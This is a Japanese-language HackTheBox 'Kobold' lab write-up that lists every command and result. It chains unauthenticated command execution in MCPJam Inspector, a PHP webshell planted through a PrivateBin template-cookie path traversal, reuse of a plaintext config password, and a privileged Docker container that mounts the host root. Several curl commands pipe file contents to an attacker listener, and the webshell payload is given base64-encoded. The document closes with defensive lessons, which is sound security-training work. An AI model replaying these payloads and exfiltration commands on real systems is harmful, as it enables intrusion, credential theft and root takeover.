HackTheBox: Kobold — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443/3552
→
22/80/443/3552
MCPJam HTTPS stdio RCE
mcp.kobold.htb
→
mcp.kobold.htb
ben (operator group)
user.txt ✓
→
user.txt ✓
PrivateBin webshell配置
operatorグループ書込権
→
operatorグループ書込権
template Cookie RCE
conf.php → DBパスワード
→
conf.php → DBパスワード
Arcane API ログイン
Docker管理UI (3552)
→
Docker管理UI (3552)
privilegedコンテナ作成
/:/hostfs マウント
→
/:/hostfs マウント
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.94.131
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 3552/tcp open taserver (Arcane Docker 管理API) Nmap done: 1 IP address (1 host up) scanned
⚠️
ハマりポイント: filtered ポート数が多い環境では nmap の XML 出力
(
-oX) が extraports 属性のシリアライズ異常で
“junk after document element” エラーとなり壊れることがある。XML解析に失敗した
場合は必ずプレーンテキスト出力 (-oN) もフォールバックとして解析し、
非標準ポート (3552等) の検出漏れを防ぐこと。
vhost 発見
BASH
openssl s_client -connect 10.129.94.131:443 -servername 10.129.94.131 -brief 2>&1 | grep -i subject curl -sI http://10.129.94.131/
RESULT
subject=CN=kobold.htb Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb Location: https://kobold.htb/
BASH
# ワイルドカード証明書のため、MCPJam/PrivateBinが使うであろう # サブドメインを予測して /etc/hosts に登録 echo "10.129.94.131 kobold.htb mcp.kobold.htb bin.kobold.htb" >> /etc/hosts
PHASE 2
MCPJam Inspector HTTPS stdio RCE
MCPJam Inspector の発見と stdio RCE
NOTE
mcp.kobold.htb は MCPJam Inspector (MCPサーバー管理UI) をホストしている。 その /api/mcp/connect エンドポイントは、serverConfig.type="stdio" を指定することで 任意のコマンド (command + args) をそのままサーバー上で起動できる — 実質的な 未認証リモートコード実行 (MCPサーバー"接続"機能の悪用)。 ただしレスポンスにコマンド出力はそのまま返らないため、OOB (Out-Of-Band) 的に Kali側で待受けるHTTPサーバーへ curl で結果をPOSTさせ、間接的に出力を回収する。
BASH
# OOB受信用の簡易HTTPサーバーをKali側で起動 (別ターミナル)
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers.get('Content-Length', 0))
print(self.rfile.read(l).decode())
self.send_response(200); self.end_headers()
HTTPServer(('0.0.0.0', 19883), H).serve_forever()
"
HTTP (POST /api/mcp/connect)
curl -s -k --resolve mcp.kobold.htb:443:10.129.94.131 \
-H "Content-Type: application/json" \
-d '{
"serverId": "kld_test",
"serverConfig": {
"name": "kld_test",
"type": "stdio",
"command": "sh",
"args": ["-c", "id 2>&1 | curl -s -X POST --data-binary @- http://<KALI_IP>:19883/oob"],
"env": {},
"requestTimeout": 35000
}
}' \
https://mcp.kobold.htb/api/mcp/connect
RESULT (OOBサーバー側で受信)
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
✅
未認証のまま
ben ユーザー (operator グループ所属) としてRCE成功。
このグループメンバーシップが後の PrivateBin 権限昇格の鍵になる。
PHASE 3
user.txt 取得
同じ手法で user.txt を取得
HTTP (POST /api/mcp/connect)
curl -s -k --resolve mcp.kobold.htb:443:10.129.94.131 \
-H "Content-Type: application/json" \
-d '{
"serverId": "kld_user",
"serverConfig": {
"name": "kld_user", "type": "stdio", "command": "sh",
"args": ["-c", "cat /home/ben/user.txt 2>&1 | curl -s -X POST --data-binary @- http://<KALI_IP>:19883/oob"],
"env": {}, "requestTimeout": 35000
}
}' \
https://mcp.kobold.htb/api/mcp/connect
RESULT
e8499f4bbfc7bd7a605b86f2e7ac45f0
user.txt — ben@kobold
e8499f4bbfc7bd7a605b86f2e7ac45f0
PHASE 4
PrivateBin テンプレートCookie RCE → Arcane DBパスワード奪取
operator グループ権限で PrivateBin へ webshell 配置
NOTE
bin.kobold.htb は PrivateBin (暗号化ペーストサービス) をホストしている。 PrivateBin はテンプレートファイルを Cookie (template=<name>) で選択する機能があり、 "../" によるパストラバーサルで /privatebin-data/data/ 配下の任意ファイルを テンプレートとしてPHPエンジンに読み込ませ実行できる。 ben は operator グループに所属しており、/privatebin-data/data/ ディレクトリへの 書込み権限を持つ。この権限を使い、まず webshell (shell.php) をそこへ配置する。
HTTP (MCPJam RCE経由でwebshell書込)
# PHP の "$" を含むペイロードはシェル展開を避けるため base64 経由で書く echo 'PD9waHAgaWYoaXNzZXQoJF9HRVRbImNtZCJdKSl7QHN5c3RlbSgkX0dFVFsiY21kIl0pO30/Pg==' \ | base64 -d > /privatebin-data/data/shell.php # ↑ 上記コマンドを MCPJam stdio RCE (Phase2と同じ方式) で実行
RESULT
SHELL_OK
template Cookie で webshell を発火
BASH
curl -s -k --resolve bin.kobold.htb:443:10.129.94.131 \ "https://bin.kobold.htb/?cmd=id" \ -H "Cookie: template=../data/shell"
RESULT
uid=65534(nobody) gid=82(www-data) groups=82(www-data)
✅
template=../data/shell Cookie により PrivateBin が
/privatebin-data/data/shell.php をテンプレートとして include し、
?cmd= パラメータの内容を system() 実行する。
conf.php から Arcane DB パスワード取得
BASH
curl -s -k --resolve bin.kobold.htb:443:10.129.94.131 \ "https://bin.kobold.htb/?cmd=cat+/srv/cfg/conf.php" \ -H "Cookie: template=../data/shell"
RESULT (抜粋)
[model_options]
...
pwd = "ComplexP@sswordAdmin1928"
...
ℹ️
ハマりポイント: conf.php には INI コメント行 (
; で始まる行)
に古い pwd = "..." の記述例が残っていることがある。正規表現で単純に
最初の一致を拾うと誤ったパスワードを掴む可能性があるため、; で始まる
行は読み飛ばし、有効な設定行のみから抽出すること
(feedback_config_file_comment_placeholder_regex と同系統の罠)。
webshell の後片付け
NOTE
MCPJam RCE経由で /privatebin-data/data/shell.php を削除し痕跡を消す (本番環境を想定した誠実なクリーンアップ)。
PHASE 5
Arcane Docker 管理APIへのログイン & privileged コンテナ作成
Arcane API ログイン
NOTE
ポート 3552 は Arcane v1.13.0 (Docker管理Webアプリ/API) が稼働している。 前段で入手した "arcane:ComplexP@sswordAdmin1928" のDBパスワードは、 Arcane自身のログイン用パスワードとしても再利用されていた。
HTTP (POST /api/auth/login)
curl -s -X POST http://10.129.94.131:3552/api/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"arcane","password":"ComplexP@sswordAdmin1928"}'
RESULT
{"success":true,"data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", ...}}
ホストマウント + privileged コンテナを作成
HTTP (POST /api/environments/0/containers)
curl -s -X POST http://10.129.94.131:3552/api/environments/0/containers \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-d '{
"name": "kld-rdr-test",
"image": "privatebin/nginx-fpm-alpine:2.0.2",
"entrypoint": ["/bin/sh"],
"cmd": ["-c", "cat /hostfs/root/root.txt > /hostfs/tmp/kobold_root.txt; chmod 644 /hostfs/tmp/kobold_root.txt"],
"user": "root",
"hostConfig": {
"binds": ["/:/hostfs"],
"privileged": true
}
}'
RESULT
{"success":true,"data":{"id":"9990d86f9f7da3fc88dbfb314b98e1a7c622e13fa005800fb1d45f24c38d7351","status":"running",...}}
🚨
権限昇格の本質: Arcane のコンテナ作成APIが
privileged: true
と任意のホストボリュームマウント (binds: ["/:/hostfs"]) を制限なく
受け付ける。これによりコンテナ内から ホストのファイルシステム全体
(/) が /hostfs として読み書き自由になり、事実上の
ホストrootアクセスを得られる。
コンテナ起動
HTTP (POST …/containers/<id>/start)
curl -s -X POST http://10.129.94.131:3552/api/environments/0/containers/9990d86f.../start \
-H "Authorization: Bearer <JWT_TOKEN>" -d '{}'
RESULT
{"success":true,"data":{"message":"Container started successfully"}}
PHASE 6
root.txt 取得
ホスト側 /tmp に書き出されたフラグを MCPJam RCE で読む
NOTE
コンテナ内の /hostfs/tmp/kobold_root.txt への書込みは、privilegedバインドマウント により実際にはホストの /tmp/kobold_root.txt への書込みとなる。既に確立済みの MCPJam stdio RCE (ben権限、ホスト上で直接実行) からこのファイルをそのまま読める。
HTTP (POST /api/mcp/connect)
curl -s -k --resolve mcp.kobold.htb:443:10.129.94.131 \
-H "Content-Type: application/json" \
-d '{
"serverId": "kld_root",
"serverConfig": {
"name": "kld_root", "type": "stdio", "command": "sh",
"args": ["-c", "cat /tmp/kobold_root.txt 2>&1 | curl -s -X POST --data-binary @- http://<KALI_IP>:19886/oob"],
"env": {}, "requestTimeout": 35000
}
}' \
https://mcp.kobold.htb/api/mcp/connect
RESULT
da088cb09e0bf1e9a3dd4bfeefe12087
root.txt — (ホスト) /tmp/kobold_root.txt 経由
da088cb09e0bf1e9a3dd4bfeefe12087
後片付け
NOTE
MCPJam RCE で /tmp/kobold_root.txt を削除し、Arcane API で コンテナを停止 (POST .../stop) → 削除 (DELETE .../containers/<id>) する。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ben@kobold
e8499f4bbfc7bd7a605b86f2e7ac45f0
root.txt — host@kobold
da088cb09e0bf1e9a3dd4bfeefe12087
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| MCPJam stdio 未認証RCE | MCPJam Inspector (/api/mcp/connect) | 未認証リモートコード実行 | Critical | serverConfig.type=”stdio”で任意コマンド(command+args)をそのまま起動できる設計不備 |
| PrivateBin テンプレートパストラバーサル | PrivateBin (Cookie: template) | 任意PHPファイルのinclude実行 (RCE) | High | operatorグループの書込権を使いdataディレクトリへwebshell配置→template Cookieで発火 |
| conf.php の平文パスワード+アカウント使い回し | PrivateBin設定ファイル / Arcane | 権限昇格の足がかり | Medium | DB用パスワードがArcane管理画面ログインにも再利用されていた |
| Arcane Docker API の無制限privilegedコンテナ作成 | Arcane v1.13.0 (port 3552) | ホストファイルシステムへの完全アクセス (root権限相当) | Critical | 任意ホストパスのbindマウント+privileged:trueを制限なく許可→ /:/hostfs でホスト全体にアクセス |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート + vhost発見 | 22/80/443/3552、kobold.htb系3vhost |
| 2 | MCPJam RCE | stdio type接続の任意コマンド実行 + OOB exfil | ben権限(operatorグループ)でのRCE |
| 3 | フラグ取得 | MCPJam RCE経由ファイル読取 | user.txt |
| 4 | 横展開 | PrivateBin webshell配置 + template Cookie RCE | conf.phpからArcane DBパスワード |
| 5 | 権限昇格準備 | Arcane APIログイン + privilegedコンテナ作成 | ホスト / を /hostfs としてマウント |
| 6 | フラグ取得 | MCPJam RCE経由ホスト/tmp読取 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| MCPJam Inspector の “stdio” サーバー接続機能が任意コマンド実行をそのまま許す | MCPサーバー設定の command/args をホワイトリスト化するか、サーバー接続機能自体に 強い認証・認可を必須にする。開発/デバッグ専用ツールを本番公開しない。 |
| PrivateBin の template Cookie がパストラバーサルでき、データディレクトリの 書込権を持つ任意ユーザーがPHP実行まで到達できる | template パラメータを既知のテンプレート名のホワイトリストで検証する。 data ディレクトリをWebサーバーの実行可能領域から分離する。 |
| 設定ファイルのパスワードが他システムのログイン認証にも使い回されている | システムごとに個別のクレデンシャルを発行し、使い回しを禁止する運用を徹底する。 |
| Docker管理APIがホストの任意パスのbindマウント・privilegedコンテナ作成を 無制限に許可している (コンテナエスケープが自明になる設計) | コンテナ作成APIで privileged フラグやホストパスのバインドマウントを 管理者以外に許可しない。少なくとも許可パスをホワイトリスト化する。 Dockerソケット/管理APIへのアクセス自体を信頼済みネットワークに限定する。 |

